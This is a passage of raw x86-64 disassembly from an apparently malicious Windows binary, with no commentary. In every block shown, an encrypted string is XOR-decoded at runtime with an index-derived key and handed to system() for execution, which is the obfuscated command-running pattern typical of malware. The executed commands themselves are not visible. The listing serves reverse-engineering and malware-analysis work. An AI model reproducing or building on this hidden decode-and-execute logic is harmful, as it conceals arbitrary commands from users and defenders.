pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x14005d0b0
jmp 0x14005d1e4
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x14005d1b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x90cb]
lea rcx, [rbp + 0x54]
mov byte [rbp + 0x54], al
call fcn.140074130
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x14005d364
cmp r15d, 2
jl 0x14005d320
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xb8
jl 0x14005d230
jmp 0x14005d364
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xb8
jl 0x14005d330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x73f2]
lea rcx, [rbp + 0x55]
mov byte [rbp + 0x55], al
call fcn.1400741c0
mov r10, rax
cmp byte [rax + 0x97], 0
je 0x14005d4e4
cmp r15d, 2
jl 0x14005d4a0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x98
jl 0x14005d3b0
jmp 0x14005d4e4
mov r9, r10
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x98
jl 0x14005d4b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x75ba]
lea rcx, [rbp + 0x56]
mov byte [rbp + 0x56], al
call fcn.140074240
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x14005d664
mov r8d, r14d
cmp r15d, 2
jl 0x14005d629
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005d530
cmp r8d, 0x99
jge 0x14005d664
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x14005d630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x70ff]
lea rcx, [rbp + 0x57]
mov byte [rbp + 0x57], al
call fcn.1400742d0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x14005d7e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005d7a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005d6b0
cmp r8d, 0x97
jge 0x14005d7e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x14005d7b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6758]
lea rcx, [rbp + 0x58]
mov byte [rbp + 0x58], al
call fcn.140074360
mov r10, rax
cmp byte [rax + 0x88], 0
je 0x14005d964
mov r8d, r14d
cmp r15d, 2
jl 0x14005d929
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x88
jl 0x14005d830
cmp r8d, 0x89
jge 0x14005d964
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x89
jl 0x14005d930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7653]
lea rcx, [rbp + 0x59]
mov byte [rbp + 0x59], al
call fcn.1400743e0
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x14005dae4
mov r8d, r14d
cmp r15d, 2
jl 0x14005daa9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x14005d9b0
cmp r8d, 0x99
jge 0x14005dae4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x14005dab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6e11]
lea rcx, [rbp + 0x5a]
mov byte [rbp + 0x5a], al
call fcn.140074470
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x14005dc64
mov r8d, r14d
cmp r15d, 2
jl 0x14005dc29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005db30
cmp r8d, 0x96
jge 0x14005dc64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x14005dc30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6ea7]
lea rcx, [rbp + 0x5b]
mov byte [rbp + 0x5b], al
call fcn.140074500
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x14005dde4
mov r8d, r14d
cmp r15d, 2
jl 0x14005dda9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005dcb0
cmp r8d, 0x96
jge 0x14005dde4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x14005ddb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6f3d]
lea rcx, [rbp + 0x5c]
mov byte [rbp + 0x5c], al
call fcn.140074590
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x14005df64
mov r8d, r14d
cmp r15d, 2
jl 0x14005df29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005de30
cmp r8d, 0x96
jge 0x14005df64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x14005df30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6fd3]
lea rcx, [rbp + 0x5d]
mov byte [rbp + 0x5d], al
call fcn.140074620
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x14005e0e4
mov r8d, r14d
cmp r15d, 2
jl 0x14005e0a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x14005dfb0
cmp r8d, 0x96
jge 0x14005e0e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x14005e0b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5d59]
lea rcx, [rbp + 0x5e]
mov byte [rbp + 0x5e], al
call fcn.1400746b0
mov r10, rax
cmp byte [rax + 0x7a], 0
je 0x14005e261
mov r8d, r14d
cmp r15d, 2
jl 0x14005e223
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x14005e130
cmp r8d, 0x7b
jge 0x14005e261
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7b
jl 0x14005e230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x60ba]
lea rcx, [rbp + 0x5f]
mov byte [rbp + 0x5f], al
call fcn.140074730
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x14005e3e1
mov r8d, r14d
cmp r15d, 2
jl 0x14005e3a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x14005e2b0
cmp r8d, 0x7d
jge 0x14005e3e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
